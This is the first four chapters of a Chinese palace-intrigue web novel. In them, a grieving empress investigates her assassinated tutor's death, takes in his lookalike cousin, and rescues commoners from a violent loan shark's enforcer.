《女帝她有白月光》
1. 第 1 章
寒冬腊月,雪飞云起。
一夜间,紫禁城已是银装素裹,道路上堆满了厚厚的积雪。
长春宫里出来几个小宫女,一边扫着路上的积雪,一边交头接耳。
“你们都听说了吗?昨夜陛下和一个牌位成亲了。”
“什么?那苏太傅怎么办?”
“我说你们消息都这么不灵通啊,陛下有多看重苏太傅你们又不是不知道,这牌位自然是苏太傅的牌位了。”
她们仨的头都快贴到一块去了,每个人脸上皆是眉飞色舞。
“喂,你们几个在这里嘀咕什么?”
青歌从殿里出来,看到她们聊得兴高采烈,路上积雪还堆在那里,不悦皱起眉头。
等会陛下就要去上朝了。
小宫女们立马吓作鸟兽散。
不出一会功夫,整条路就被扫出来大半。
青歌脸色稍霁,抬脚往回走。
一个小宫女惊慌失措地追过来:“青歌姑姑,门、门口有个人!”
谁敢在这个节骨眼上给陛下添堵?
苏太傅遇刺身亡一事,陛下已经够劳心伤神了。
青歌板着脸,朝大门走去。
-
陆玄珍醒来时,手脚冰凉。
强忍着不适半坐起身,看到躺在身侧的牌位,眸子瞬间暗下来。
如果不是她执意变法改制,或许苏太傅就不会死。
窗棂外透进来的光,刺得眼睛有点痛,却感受不到一丝暖意。
“……青歌。”
她张了张嘴,嗓音沙哑。
门口传来一声“吱呀”,宫女推门而入。
看到来人,陆玄珍愣了下,脱口而出:“青歌呢?”
青桃脚下步子一顿。
思酌片刻,道:“回陛下的话,有几个宫人扫雪不仔细,青歌去看着她们了。”
“知道了。”
陆玄珍点点头不再多问,站起身让青桃上前为她更衣。
龙袍加身,束发戴冠,帝王威仪尽显无疑。
隐约间,外面似有声音传来。
她扭头看向门口,旒上的珍珠碰在一起,发出清脆的响声。
“陛下……我要见……就一面……”
因着隔了段距离,声音断断续续的,听得并不真切。
这声音好像苏太傅。
可苏太傅已经死了,又是谁在外面说话?
陆玄珍拧着眉头朝外走去。
远远就看到青歌站在长春宫门口,对面是一个年轻男子。
青歌:“走吧,陛下没时间见你。”
苏文澜:“求您通融,我是苏太傅的堂弟,有要事见陛下。”
青歌:“不行,陛下要去上朝了。”
苏文澜:“就一小会,不会耽误时间,我说完就走,您帮帮忙吧。”
两人对话,陆玄珍悉数听入耳中。
苏太傅的堂弟?
她好奇地打量了几眼,因隔着段距离,看不清楚,她走了过去。
“怎么回事?”
陆玄珍突然出现青歌身后,把人吓了一跳。
青歌跳着转过身。
“陛下恕罪,是奴婢自作主张了。此人自称是苏太傅堂弟,有要事见您,奴婢怕耽误您上朝,就想先将人劝走。”
“无事。”
陆玄珍扫了青歌一眼,继续看向男子。
见他一直低着头。
不悦皱了皱眉:“苏家的人昨日参加完婚宴,应该都回去了,你怎么还留在这里?”
“臣是偷跑出来的。”
苏文澜头埋得更低了。
堂兄已去,他在苏家的处境更糟糕了,要想破局,唯有冒险赌一把。
陆玄珍眼底闪过一抹诧异。
越发好奇此人,可抬眼看去,只能看到一个黑漆漆的发顶。声音顿时冷了几分:“你可知私自留宫是重罪?”
“臣知。”苏文澜故作镇定,手心早已捏了一把汗。
听着他声音,陆玄珍又想起苏太傅,心中更加郁闷,失落地收回眼。
“明知故犯,本该罪加一等。念在你是初犯,朕就不计较了。青歌,把人送出去。”
苏文澜快步挡在她前面:“陛下请留步,臣有要事见您,所以不得不冒着触犯宫规的罪名私自留宫!”
“朕没时间听你说。”陆玄珍绕开他上了礼舆。
想到等会在朝堂上要与世家虚与委蛇,那股烦躁又上来了。
她端坐在上面,闭目养神,由宫人抬着往金銮殿去。
走了没多,就听到身后传来一阵呼喊。
“陛下!堂兄曾交代过,如果他出了意外,让臣务必把这个交给您!”
苏文澜挣脱开宫人。
跌跌撞撞朝陆玄珍追来,怀里还紧紧护着个东西。
“停一下。”
陆玄珍说着,睁开双眼往身后看去。
看清了那人手里的东西,同时也看清了那张脸,瞬间心神俱颤。
直到看到眼尾多出来的那颗小痣,才回过神。
只是生得有几分相似罢了。
不是他。
“这是什么?”
陆玄珍视线重新落在那本册子上。
苏文澜深知机会来之不易。
一口气都不带喘:“这是臣写的文章,堂兄亲手批改过的。”
“臣虽好学,但因出身一直不能进入苏氏族学。堂兄惜才,空闲之时便教臣读书。”
“说是等科举彻底推行,从此英雄不问出处,人人皆可靠才学入朝为官。”
“可堂兄也知此事凶险重重。便提前嘱托过臣,若他出了意外,让臣无论如何都要来见您!”
陆玄珍拿过那本册子。
见里面当真是苏太傅的笔迹。当即信了几分,情绪却难免低落起来。
“朕从前怎么没听太傅提过?”
“臣、臣……”
苏文澜一时语塞,不知道怎么编。
方才那些话半真半假,毕竟死无对证,他只管说对自己有利的。
好在陆玄珍没有继续追问。
“既是太傅生前所托,那你便先留在翰林院做编修吧。”
陆玄珍轻叹一口。
这倒也像苏太傅能做的事,他人就是这样,温柔善良、博学多识。
视线落在苏文澜脸上。
才注意到他下巴上有一道细小的伤口,还在渗血。
她皱了皱眉:“你叫什么名字?”
“苏文澜。”
陆玄珍在脑中回想了一遍,没有什么印象,好像苏家压根就不存在这个人一样。
低头又翻了一下册子。
上面苏太傅的笔迹做不得假。
她说:“青歌,你先送苏文澜去太医院。”
-
这是苏太傅死后,陆玄珍第一次上朝。
朝臣们以为受到重击的小皇帝,从此会一蹶不振。
但是,没有。
陆玄珍神情肃穆,扫视众人。
如今朝中重臣,皆出自世家大族。世家与寒门之间的差距,犹如一条长长的沟壑,不可跨越。
她想改变,苏太傅也想。
现在并肩作战的人不在了。
陆玄珍肩上的担子也更重了,要改制变法,要抓到幕后真凶。所以在黎明到来之前,她绝不会倒下。
“陛
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下,臣有事启奏。”
一道不合时宜的声音,打破了短暂的安静。
陆玄珍看向说话那人。
苏献,大周丞相,苏氏家主,也是苏太傅的生父。两人虽是父子,立场却截然相反。
她淡淡道:“讲。”
苏丞相:“昨日婚宴结束,臣的一位侄子意外遗留在宫中。此事皆因臣治家不严,望陛下恕罪。”
这就来要人了?
陆玄珍挑挑眉,看来这苏氏,也并非想象中的密不透风。
“苏丞相这位侄子,可是叫苏文澜?”
闻言,苏丞相心里咯噔一声。
怎么还真遇上了?他就知道这小畜生留在宫中是有意为之,没安好心!
嘴上却不得不应道:“是。”
“苏丞相,你知不知道……”
陆玄珍顿了顿,才继续开口:“你很好。”
呼——
苏丞相刚松了半口气。
就听到陆玄珍继续说:“能得此人才,科举推行指日可待,多亏丞相把人带入宫中。”
他谦逊道:“陛下过奖,都是臣应尽之责。”
陆玄珍环视朝臣。
“要是你们也能有苏丞相这种觉悟,那推行科举,也就没这么麻烦了。”
其他朝臣:……
苏丞相笑容僵在脸上,等会下朝又得和其他几位家主解释了。
见此,陆玄珍微微勾唇。
“苏丞相,你治家不严一事,看着你侄子的份上,这次朕就不同你计较了。”
她讨厌苏丞相。
虽然苏丞相是苏太傅的生父,但却也是世家砥柱,曾多次阻挠苏太傅参与改制变法。
甚至,她怀疑苏太傅的死,苏丞相知情或参与其中。
苏丞相心情如丧考妣,却又不得不笑着谢恩:“臣多谢陛下谅解。”
-
下了朝,陆玄珍心情不错。
见青歌回来,顺口问道:“带苏文澜去太医院看过了吗?”
青歌:“看过了。没什么大事,太医说要是晚些过去,不用看就好了。”
闻言,陆玄珍顿了顿。
眼下此人所言是否属实,她还尚未确认。但他生得那副容貌,的确很容易让人怀疑是别有用心之辈。
沉默良久,她问:“现在人在哪?”
青歌撇撇嘴:“长春宫。”
一想到那人作态,就十分不喜。
“去长……”话到嘴边,陆玄珍突然改了口,“去御书房。”
-
“苏文澜,苏家二房次子,乃外室所生。十岁那年因苏家老太爷坚持,才顺利认祖归宗。但回到苏家后,因其出身,未能进入苏氏族学……”沈统站在御书房内汇报着。
陆玄珍紧皱的眉头松动了些,看来苏文澜所言非假。
她问:“还有其他的吗?”
“没有了。”沈统说。
她摸了摸下巴,又问:“苏文澜与太傅关系如何,你知道吗?”
履历没问题,不代表关系没问题。
“臣知道一些。”沈统面露犹豫。
陆玄珍催促道:“讲。”
沈统:“臣曾听闻,苏文澜刚到苏家时,因不识字,闹出过许多笑话,苏太傅不仅多次维护,还亲自教导他读书识字。”
这就都对上了。
她的太傅温良博爱,怎会对他人苦难视而不见?
高悬的明月,慷慨无私地照耀着九州十六城的每寸土地。他可以体恤苍生之苦,又怎会不怜惜血脉相连的堂弟?
悲痛与失落在心口慢慢漾开。
陆玄珍轻叹一声:“沈统,有刺客的消息了吗?”
2. 第 2 章
见沈统嘴唇哆嗦了几下,没有出声,陆玄珍眼神暗了暗。
“直说即可,不用担心朕。”
“刺客在狱中服毒自尽了。仵作和太医都验过,是乌毒。”
沈统面上一片自责。
明明搜过刺客的身,明明严防死守,可愣是叫人钻了空子。这条线现在算是断在他手里了。
乌毒?
听到这两个字,陆玄珍面色一沉。
那支射中苏太傅的箭,上面涂的也是乌毒。
世家当真是恨毒了她。
为了阻止科举变法,用尽手段。若是她想,明日便能将世家杀个干净。
可杀完之后呢?
或混乱一时,或卷土重来。又是何必呢?况且这也与她变法的初衷背道相驰。
唯有变法,才能根除弊端。
至于真凶,她定会亲手将此人揪出,彻底清算。
沈统突然出声:“陛下,刺客虽死,我们却非一无所获。据臣手下调查,刺客生前曾多次出没于平安巷一带。”
平安巷在城西,那里住的都是平民。
陆玄珍皱眉道:“朕要去一趟。”
“臣这就去准备。”沈统应下。
等沈统一只脚跨出御书房大门,身后传来陆玄珍的声音:“你去长春宫接上苏文澜。”
他身形一顿,沉声应道:“是。”
待沈统离开,偌大的御书房又只剩她一人。
陆玄珍从怀里拿出那本册子。
小心翼翼地翻开,苏太傅熟悉的笔迹映入眼帘,指尖轻轻抚过泛黄的纸张,清淡墨香萦绕在鼻尖。
眼中氤氲升起,笼着一层雾。
就像她心立藏着的那些难以说出口的话。
太傅,科举制是你留给大周的圭臬,亲手批注的文章是你留给你堂弟的敲门砖。
那朕呢?
-
沈统在长春宫见到了苏文澜。
若不是陛下提前说过,他还以为这是年轻的苏太傅。
“你就是苏文澜?”沈统臭着脸,语气十分不善。
“我是。”苏文澜惴惴不安回他。
好不容易才赖在长春宫,这人该不是来赶他的吧?
沈统只想快点领人回去复命。
撂下句“跟我走”就急匆匆往外走,走了几步没有听到动静,又停下往后看。
见他不仅没走,还往后退了半步,立马不悦道:“你怎么还不走?”
苏文澜一只手放在门上,警惕地盯着沈统。
昨日在堂兄的婚宴上他都看到了,这个黑脸侍卫是陛下的亲信。
定是那宫女看他不爽,让这小黑脸来赶他来了。
沈统见他不走也不说话,当即瞪他一眼:“这是陛下的命令,你不走也得走!”
说着伸手朝门内抓去,然后顺利地吃到了一个闭门羹,碰了一鼻子灰。
他大吼:“苏文澜你干什么!!”
苏文澜靠在门上,声音异常坚定:“我不会离开长春宫一步,除非陛下亲口说让我走。”
沈统碰了一鼻子灰,嘴都气歪了。
“苏文澜,有本事你就躲在里面一辈子不出来!你等着!我这就去告诉陛下,让陛下来评评理。”
-
长春宫大门紧闭。
陆玄珍倍感无奈。
他拿着太傅批注过的文章来找她,不是为了做官吗?怎么还把她的人拒之门外了呢?
“苏文澜,你不是要陛下来才肯出来吗?现在陛下就在这里,你出来啊!”
沈统用力拍打着大门。
里面静悄悄的,一点声音都没有。
陆玄珍上前一步,冲里面说道:“苏文澜,是朕来了。”
门吱呀一声开了。
苏文澜出现在门后,一脸惶恐地看着她:“陛下……您不要赶臣走。”
闻言,陆玄珍震惊地瞪大了双眼。
她记得,她应该是让沈统来叫苏文澜一起出宫,去平安巷调查刺客踪迹的吧。
“朕什么时候要赶你走了?”
苏文澜愣住:“陛下不是来赶臣走的吗?”
她摇摇头,看向一旁沈统:“你怎么和他说的?”
被点到的沈统,无辜又迷茫。
他如实交代道:“臣说这是陛下的命令,让他跟臣走。除此之外,就没说别的了。”
陆玄珍问:“就这些?”
“真就这些。”沈统十分笃定。
她瞬间觉得苏文澜又可怜又好笑。
“是沈统没说清楚,朕既然允诺你,就不会出尔反尔。过几日你便去翰林院,至于住处……”
让人再回苏家,也不现实。
现在长春宫正殿供着苏太傅的牌位,不适合住人。宫里空着的还有华景宫、坤宁宫、永寿宫。
“日后你就住在华景宫。”
华景宫离翰林院还近,也算是替苏太傅照顾了他这位堂弟。
苏文澜犹豫片刻,鼓足勇气道:“臣还是想留在长春宫。”
“为什么?”陆玄珍问。
苏文澜垂下眼。
“听说堂兄的牌位供在这里。堂兄对臣有恩,可臣身无长物,除了祭拜堂兄,也做不了别的。臣只想离堂兄近一些,好每日祭拜。”
祭拜苏太傅是假,想见陆玄珍才是真。
从见她的第一面起。
苏文澜就打定主意,拼命抓住每一个可以留在她身边的机会。
他从苏家出来,可不是为了做一个无名之辈的。
陆玄珍盯着他的脸看了会。
见他神情真挚不似作假,不由心下一软:“既然你有这份心,日后就住在长春宫偏殿,方便每日祭拜你堂兄。”
若苏太傅泉下有知,想必也会为此感到欣慰。
苏文澜激动道:“多谢陛下成全。”
陆玄珍微笑看他:“好了,现在不担心了吧?”
听她这样问,苏文澜脸上一红。
“是臣以小人之心度君子之腹了,臣在这里给您赔不是了,您千万不要生臣的气。”
“好了好了,你也不必太过自责。”
陆玄珍现在知道了苏文澜敏感多心,下意识先照顾他的情绪。
安慰完苏文澜,她又看向沈统。
“沈统,你以后说话多注意着些,别再让人误解。”
沈统偷偷白了苏文澜一眼:“是。”
“走吧,去平安巷。”陆玄珍说着,率先往外走去。
-
三人乔装后,抵达了平安巷。
望着面前残破的木门。
陆玄珍眼底划过一丝迟疑,问道:“沈统,你确定是这里吗?”
“陛、陆大人,应该是这里,从西数第五户,门环上还绑了一根红绸……”
沈统回忆着手下的汇报。
她视线落在门环上。
那里只有一根暗红锃亮的绸布,伸手一指:“这就是那根红绸吗?”
沈统凑上去嗅了嗅,神情严肃起来。
“陆大人,是红绸,上面染了不少血,颜色变暗了。”
陆玄珍点了个头:“敲门吧。”
“是。”沈统走上前
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去,抬手敲响了木门。
手指关节与木门碰撞的响声,孤零零回荡着巷子中,迟迟得不到回应。
突然,空气中传来一声“吱呀”。
隔壁门缝里探出一颗脑袋。
一个精瘦的女人警惕地打量着他们,眼珠提溜转了几下,没有丝毫主动说话的意思。
“大姐,住在这户的人去哪了?”
沈统眼睛一亮,一个箭步就闪了过去,堵在隔壁门前急声询问。
女人吓得立马就要关门。
沈统愣在原地。
眼睁睁看着木门闭合,直到剩下一道胳膊宽的缝隙时,他才反应过来伸手阻拦。
但有人比他更快。
一道浅灰色的身影挡在前面。
女人尖锐的叫声同时响起:“你们……苏、苏大人!我、我不是故意的,您没事吧?”
苏文澜闷哼一声。
虽然后背已是冷汗一片,但还是咬着牙回了句“没事”。
苏大人?
陆玄珍呼吸一窒。
恍神的功夫,女人已经把门打开,一脸愧疚地招呼他们进屋:“三位大人请进。苏大人,我刚刚没认出是您。”
苏文澜抬头看她一眼。
不明白这女人为什么突然就像换了个人一样,但既然这对他们此行有利,便先沉默着进了屋。
女人担忧看着他胳膊上的血:“我先去找个大夫,您胳膊上的伤耽误不得。”
“不必麻烦了,正事要紧。”
苏文澜偷偷瞄了眼旁边的陆玄珍,见她正盯着桌子出神,又收回眼看着女人。
女人立马主动交代:“隔壁应该都死了,估计是前天夜里那伙江州人干的。”
听到声音,陆玄珍回过神,看向女人。
“你怎么知道他们是江州人?”
“我是江州人,说起来也巧,我也是在江州认识了苏大人。”女人说着又看向苏文澜,“苏大人您还记得我吗?”
苏文澜一脸茫然。
记得什么?他压根就不认识这女人,她该不会是把他认成堂兄了吧?
女人轻叹了一口:“苏大人帮过的人那么多,不记得也是正常,我记得苏大人的恩就好。”
陆玄珍盯着女人看了会。
突然想到什么,问她:“是江州水灾吗?”
今年夏天,百年难遇的洪水降临在江州,当时她正忙着平定东海之乱。
故而是苏太傅去江州赈灾。
“您怎么知道?”女人诧异。
苏文澜也朝陆玄珍投去询问的目光。
陆玄珍轻轻笑了笑:“我猜的。”
因为爱,所以了解,所以能预料到对方的每一步。
“您猜得真准。若不是苏大人,我和我女儿恐怕早就死在那场洪水中了。您的恩情,许三娘这辈子都还不清……”
许三娘说完结结实实磕了三个头。
“你快起来。”苏文澜忙去扶人。
看着两人,陆玄珍神情一恍,眼前浮现出苏太傅的音容笑貌。
她再一次清楚意识到,这个世上再也不会有第二个苏太傅,她再也见不到苏太傅了。
巨大悲伤上涌,心痛难忍。
陆玄珍脚下一个不稳,身形晃了晃,身后一只手突然稳稳扶住了她。
“陆大人,小心。”沈统低声说。
陆玄珍看他一眼,面色微暖。
正要张口说话,许三娘的声音从旁传来:“苏大人,您等一等,我有东西拿给您!”
她扭头看去,就见许三娘一溜烟钻进了后院。
3. 第 3 章
许三娘从后院抱出来一个竹篓,里面传出扑棱扑棱声。
她走到苏文澜跟前:“苏大人,这是我自己养的鸡。您收下吧,虽然不值什么钱,但我总想做点什么感谢您。”
苏文澜不想要,倒不是有多么高风亮节。
从前在苏家时,他连一只得宠的狗都比不过,所以他讨厌天底下所有的畜生。
况且他胳膊还疼着,才不想忍痛抱着个大竹篓回宫去。
不过他没有贸然拒绝,而是先看向陆玄珍。
陆玄珍正在看许三娘。
看着许三娘的模样,她心里酸涩难忍,忍不住去想,如果苏太傅还在的话,他现在会怎么做。
想着想着,手就抚上腰间荷包。
她侧头看向苏文澜,正好对上他的双眼,只愣了一瞬,便回过了神。
“苏大人,你收下吧。”陆玄珍顿了顿,“毕竟是百姓对你的一片心意。”
说话间,一块碎银悄无声息落入桌底。
苏文澜懂了。
他转过来冲着许三娘点了个头:“那就多谢了。”
见他肯收,许三娘咧着嘴笑:“苏大人,这鸡可补了,可以拿来炖汤,炒着也好吃,就是费油——”
“娘!不好了,出事了!”
急促的脚步声由远及近,一道瘦小的身影出现在了门口。
许三娘顿时收了笑容。
把竹篓放在地上,快步迎上去,问:“翠芽?怎么了?”
翠芽看了眼屋内,没吭声。
许三娘催促:“你这孩子,快说啊,到底出什么事了?
翠芽:“催债的又来荷叶家了。”
许三娘:“怎么又来了,前些天不是才来过吗?”
翠芽跺了跺脚:“娘,现在不是说这个的时候,你快想想办法,再晚些荷叶爹就要被打死了。”
许三娘急得脸都红了。
见许三娘母女如热锅上的蚂蚁。
陆玄珍皱了皱眉:“许三娘,你莫急了,我们一起看看去。”
“大人,这……会不会太麻烦您了。”许三娘面露迟疑。
她半个身子已经出了大门。
回过头来看许三娘一眼,郑重道:“人命关天的事,不是麻烦。”
闻言,许三娘眼眶一热,连忙出门带路。沈统紧跟着许三娘,苏文澜和荷叶走在后面。
“既然还不上钱,就拿你家丫头来抵债。识相点就快滚一边去!”
陆玄珍脸色一沉,加快了脚步,前面引路的许三娘一下被甩到了身后。
男人的手下也跟着起哄。
“这家小女郎我见过,可水灵了。咱老大今晚又要做新郎官了!”
“你们说这个能撑多久?”
“啧啧,看这身子骨,难说呐。”
挡在门前的荷叶爹,恨恨盯着他们几个,从牙缝里挤出两个字:“畜……生……”
“什么?你再说一遍!”
苏贵怒吼着抽出腰间大刀,朝着荷叶爹头上砍去。
电光石火间,寒芒闪动。
然荷叶爹并未血溅当场。
一柄长剑停在他眼前一寸处,及时拦住了那把张牙舞爪的刀。
哐当——
刀被震落在地。
陆玄珍冷冷看了一眼苏贵,就像在看一个死人。
私放印钱,强抢民女,草菅人命,单其中一条,已是滔天大罪。
苏贵怒目看去。
见对方只是个女郎,难免轻视起来:“你可知我是何人?把刀捡起来,再陪爷一晚上,爷就不跟你计较。”
陆玄珍握住剑的手一紧,还未来得及挥剑,身边卷起一阵风。
沈统就像一支离弦的箭,直直冲了出去。
嘭啪嘭啪拳头落在皮肉上的声音响起,又密又急,还夹杂着他浑厚的怒吼声。
“不用晚上,你爷爷现在就来陪你!喜欢爷爷的拳头吗?”
“我错了,我再也不敢了,别打我了——”苏贵躺在地上哀声求饶。
试图帮他的手下,很快也在旁边躺了下来。
沈统压根不为所动。
继续挥舞着沙包大的拳头,胳膊上完美的肌肉尽显无疑。
苏文澜扫了眼,右眼皮狠狠跳了下。
要是他在长春宫被沈统逮住,怕也难逃一顿皮肉之苦吧……
他不由自主往陆玄珍身后挪了挪。
现场陷入诡异的安静。
许三娘等人甚至屏住了呼吸,老老实实站在后面观看这一场“盛宴”。
没人敢劝,也没人想劝。
直到陆玄珍发话:“沈统,你先停一下。”
沈统才听话收了手。
高大威武的汉子,乖乖站到了陆玄珍的旁边。
陆玄珍冷冷往地上扫了眼:“我不知你们是何人,也不想知道。刚刚想要杀人的,就是你吧?”
说话间,她已走到苏贵跟前。
苏贵还未张口,一柄冰凉的剑就已抵住他的喉咙。
他瞬间慌了神,仓促辩解:“我、我只想吓唬吓唬他……”
“是这样吗?”陆玄珍手上力道加重,“那你猜猜,我现在是在吓唬你,还是真想杀了你呢?”
苏贵打了个颤:“您、您大人有大量,不要杀我。我、我也是听命于人,身不由己。”
“听谁的命?”
苏贵咬咬牙:“淮南苏氏,我们家主大人一定想结识您这样的人物。若您今日肯放我一马,我必为您引荐。”
“淮南苏氏啊,那可真了不得。”
陆玄珍面色稍霁,嘴角挂着浅浅微笑。
闻言,苏贵松了口气。
还好对方顾忌苏氏,否则今日他难逃一劫。正想着,脖颈突然一凉。
“你们几个去告诉淮南苏氏,人是……京城陆氏杀的。”
陆玄珍学着苏贵,自报家门。
京城除了皇室,还有哪个陆氏?苏贵到死才明白他惹了谁。
其余几人从地上爬起来,头也不回地跑了。
吱呀一声,荷叶爹护在身后的大门,被人从里面缓缓打开。
走出来一大一小两个人。
荷叶娘把荷叶爹扶到一旁后,径直走到陆玄珍身前跪了下去:“民妇谢大人救命之恩!”
说完就磕了个结结实实的头。
回头见到柱子似的荷叶,连忙招呼:“荷叶,快来给大人磕头!”
“哦哦,好!”荷叶这才反应过来。
她让爹靠墙坐好,小跑过来跪在地上,冲着陆玄珍结结实实磕了个头,仰起脸。
她小脸红红的,眼里还闪着光:“大人,您真的好厉害呀!”
“荷叶,别乱说话。”荷叶娘立马小声训斥她。
荷叶立马委屈巴巴地低下了头,还不忘和陆玄珍道歉:“对不起,大人,我不太会说话。”
陆玄珍嘴角微扬:“没事,都快起来吧。”
“谢谢大人,谢谢大人,大人您人真好。”荷叶边说边爬起来,又是鞠躬又是作揖,看着十分讨喜。
陆玄珍抬起手,想要摸摸荷叶的头。
在即将触碰到的一瞬,她余光看到了荷叶爹娘的面色,抬到一半的手臂又落了下来。
她顿了顿,问:“二位是在担心等我们一走,他们事后报复吗?”
见荷叶爹娘低下头,陆玄珍心里一沉。
方才出手前,她已考虑过。远水救不了近火,若此地不在京城中,她必定不会贸然出手。
可这里是京城。
“你们放心,今日回宫后我会禀明陛下,彻查印子钱一事,同时派人巡视平安巷,保护你们的安全。”
她语气铿锵有力,让人下意
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识想要相信。
荷叶娘惊喜道:“大人,真的吗?”
“娘,真是太好了!我们再也不用怕了!”荷叶在一旁欢呼。
“唉——”
旁边一道不合时宜的叹息声,打破了这短暂的轻松。
荷叶爹苦笑着看向陆玄珍:“大人,不麻烦您了,我们今晚就搬走。”
“爹?为什么呀?”荷叶不解。
陆玄珍神情严肃认真。
半蹲下身,与坐在门口的荷叶爹对视,问:“是因为不相信我吗?”
“大人您是好人。”荷叶爹摇头。
她想了想,又问:“不相信皇帝?”
“我……”荷叶爹迟疑了,后面的话他没有说出口,但她都知道了。
陆玄珍原本有很多话想说。
但话到嘴边,又咽了回去。
算了,无非因为当今皇帝是个女人,缺了那二两肉。
她不说,有人要说。
“老连,你咋能不信皇上呢!”许三娘气哼哼跳出来,满脸责备地看着荷叶爹。
荷叶爹垂下头没吭声。
许三娘:“今年江州发大水,要不是皇上派了苏大人来,我和翠芽早就没了。苏大人是替皇上来的,所以皇上心里头是有我们的。”
“皇上为什么不亲自来呢?”荷叶歪着小脑袋。
许三娘理直气壮回道:“那会皇上正忙着在东海杀匪寇,脱不开身呗!”
荷叶:“许姨你怎么知道这么多?”
许三娘:“我听说的。”
荷叶:“那你还知道别的吗?”
许三娘:“你想听什么?”
荷叶眨眨眼,满眼崇拜地说:“只要与皇上有关的,什么都行。”
许三娘想了想,压低声音道:“我听说皇上她身长八尺,武功卓绝,除了那位天生神力的太上皇,还没人能打败她!”
“哇!真是好厉害!”荷叶赞叹。
闻言,沈统也凑了上去,高兴补充道:“不仅如此,陛下她博学多识,文武双全!”
一群人聊得热火朝天。
陆玄珍站在一旁,嘴角微微抽搐。
这许三娘到底从哪里听说的乱七八糟?沈统也是,净跟着瞎胡闹。
苏文澜注意到她的表情。
走上前轻咳了几声,提醒道:“我们还是不要在外面议论一国之君。”
“苏大人说的对。”许三娘点头。
沈统意犹未尽地退了回来,眼神幽怨。
多好的机会啊!本来他们能多了解一些陛下的英明神武,都被那小白脸给破坏了。
陆玄珍看荷叶爹:“你的伤怎么样了?要不要找个大夫看看?”
“不打紧,躺两天就好了。”荷叶爹似乎早就习以为常。
她愣了愣,过了会才道:“今日之事,如果你们还愿意相信皇帝,相信我,就继续留在平安巷。如果不愿意……”
后面的话,陆玄珍没再说。
只是伸手解开腰间荷包,轻轻放到了门前的石头上。
-
回宫路上。
沈统怀里的竹篓时不时发出几声“喔喔”鸡叫,引得路人纷纷侧目。
“炖汤?炒了?还是烤了?”沈统咽了咽喉咙,眼睛突然亮起来:“大人吃过叫花鸡吗?等回去我给大人做叫花鸡!”
陆玄珍斜着眼看他。
沈统着急道:“您别小瞧我,我就是看着粗手粗脚,但我什么都会。要是我做不好,您怎么罚我都行!”
陆玄珍终于不看沈统了。
她视线往下移,落在他怀里一动一动的竹篓上,凝视良久。
沈统见她没答应,还不肯放弃,小声在一旁絮絮叨叨:“大人,您就尝一回,要是不好吃我——”
“大人,要不还是先养着吧。”苏文澜突然出声。
4. 第 4 章
沈统立马叫了起来:“养哪?养在宫里吗?别说这鸡会到处拉屎,单是早上打鸣,就会扰了大人的清净!”
苏文澜真诚发问:“沈侍卫,毕竟这是百姓送给堂兄的谢礼,我们这般随意处置,总归有些不太好吧?”
他面上滴水不漏,但实际上手心早就攥满了汗。
眼下堂兄刚走没多久,陛下对他的怜惜,大多是看在堂兄的面子上。
可等时间一长,就什么都说不准了。
他与陛下没有什么情分,只能拼命地抓住能抓住的一切。
“小苏大人说的……”
陆玄珍视线扫过苏文澜和沈统。两人竟是不约而同安静下来,屏息凝气等着她后面的话。
她目光停在苏文澜脸上。
表情突然放松下来,道:“倒也有几分道理。”
苏文澜松了口气。
沈统一口气噎在喉咙里,上不去也下不来,小声支吾着:“陛、大人,您……”
陆玄珍没看到沈统。
继续盯着苏文澜问:“小苏大人,你觉得养在哪里合适?”
“长春宫。”苏文澜不假思索。
“行,那就听你的。”陆玄珍一口答应下来,眼底染上几分暖意。
她舍不得吃。
什么山珍海味、金浆玉醴,她没吃过喝过,可到这里偏偏就是舍不得了。
虽说与和牌位成亲这种事相比,在宫里养鸡也算不上什么。
但旁人提出来,与她自己提出来,归根到底还是两码事。
陆玄珍又看了苏文澜几眼,觉得顺眼不少。
他心思玲珑,又得太傅教导。或许去翰林院做个编修,是大材小用了。
“小苏大人。”她突然喊了一声。
苏文澜抬起头看她。
陆玄珍还没想好怎么说,就已经走到了宫门前。
她看了看天色,收回眼:“沈统,你先送小苏大人去太医院,等太医给他看完,再把人送回长春宫。”
“是,陛下。”
“朕有公务处理,先走了。”
陆玄珍前脚一走。
沈统就往身旁瞥了眼,没好气道:“别看了,陛下都走远了。”
“哦。”苏文澜淡淡应了声。
一路上,沈统脚下生风,大有把人甩掉的架势。苏文澜紧紧跟在后面。
-
御书房里的奏折堆成一座小山。
屋内光线昏暗,书桌上烛光暖黄,驱散了不少清冷。
陆玄珍揉了揉太阳穴。
抬脚往桌前走,身后拉长的影子越来越短,直至缩成脚下一团,她也坐了下来。
“陛下,奴婢就在外面候着。”
青歌说着,轻手轻脚退了下去。多年主仆,她早已清楚陆玄珍的习惯。
陆玄珍盯着一把木椅出神。
那是苏太傅的椅子。从前她批奏折时,无论多晚,苏太傅都会静静坐在那里。
可人已经死了。
想到这里,她心口一痛。
拿起最上面那本奏折,只看了一眼,奏折就被重重扔到地上。
陆玄珍冷笑一声,请立继皇夫?
皇夫新丧,他们便如此迫不及待。或许五年、十年以后,为了诞下继承人,她会立继夫,也仅仅是可能,留子去父未尝不可。
但无论是谁,都无法取代苏太傅。
月明星稀,冬夜晴朗。
窗外北风吹得树枝吱呀作响,屋内地龙烧得热腾腾的,燥得叫人心烦。
陆玄珍起身开了一条窗缝。
冷风涌入,头脑瞬间清醒不少,她坐回来继续批改奏折,其他的都是中规中矩汇报公务的。
这一看就到了半夜,小山似的奏折已经见了底。
她打了个哈欠。
伸手拿起了桌上最后一份奏折。
是沈太医的奏折?翻开一看,里面汇报的是民学的事。
大周历来有设立官学的传统。
但官学收人,要求学生必须出自世家贵族,寒门子弟不得入选。
民学则恰恰相反。
所谓民学,意思是为民办学。
英雄不问出处,得天下英才而育,是民学创办的初衷,也是她和苏太傅的初衷。
按照他们之前的设想:
只要民学顺利运行,一呼百应,各地私塾便会源源不断兴起。届时,寒门学子科举为官,九品中正被取代,一改朝中要职被世家垄断的局面。
苏太傅遇刺身亡后,由沈统之兄沈锐暂时接手了民学相关事项。
沈锐、沈统两人是亲兄弟。
都出自太上皇后母族沈氏,也是陆玄珍的嫡系,深得器重。
陆玄珍落在奏折上的目光一暗。
眼下看来,沈锐有些力不从心了。
不过倒也正常,民学创办本就阻力重重,且沈锐擅医术,对办学一事并无钻研。
现在民学遇到了困难。
招不齐学生。准确来说,是招不齐女学生。
和只招收男子的官学不同,民学在创办之初,便定好了分设男女两班,向广大寒门学子敞开大门。
在考察完学生的人品、才德外,取优者入学。同时为减轻学生负担,取消束脩。
可就算这样,还是招不齐人。
想到这里,陆玄珍轻叹一口。
放下奏折,起身走到窗边,把窗户推开一半。
窗外夜色瞬间展露眼前。
皎洁的月光洒落在雪地上,清冷又疏离。
“太傅,我该怎么办啊……”
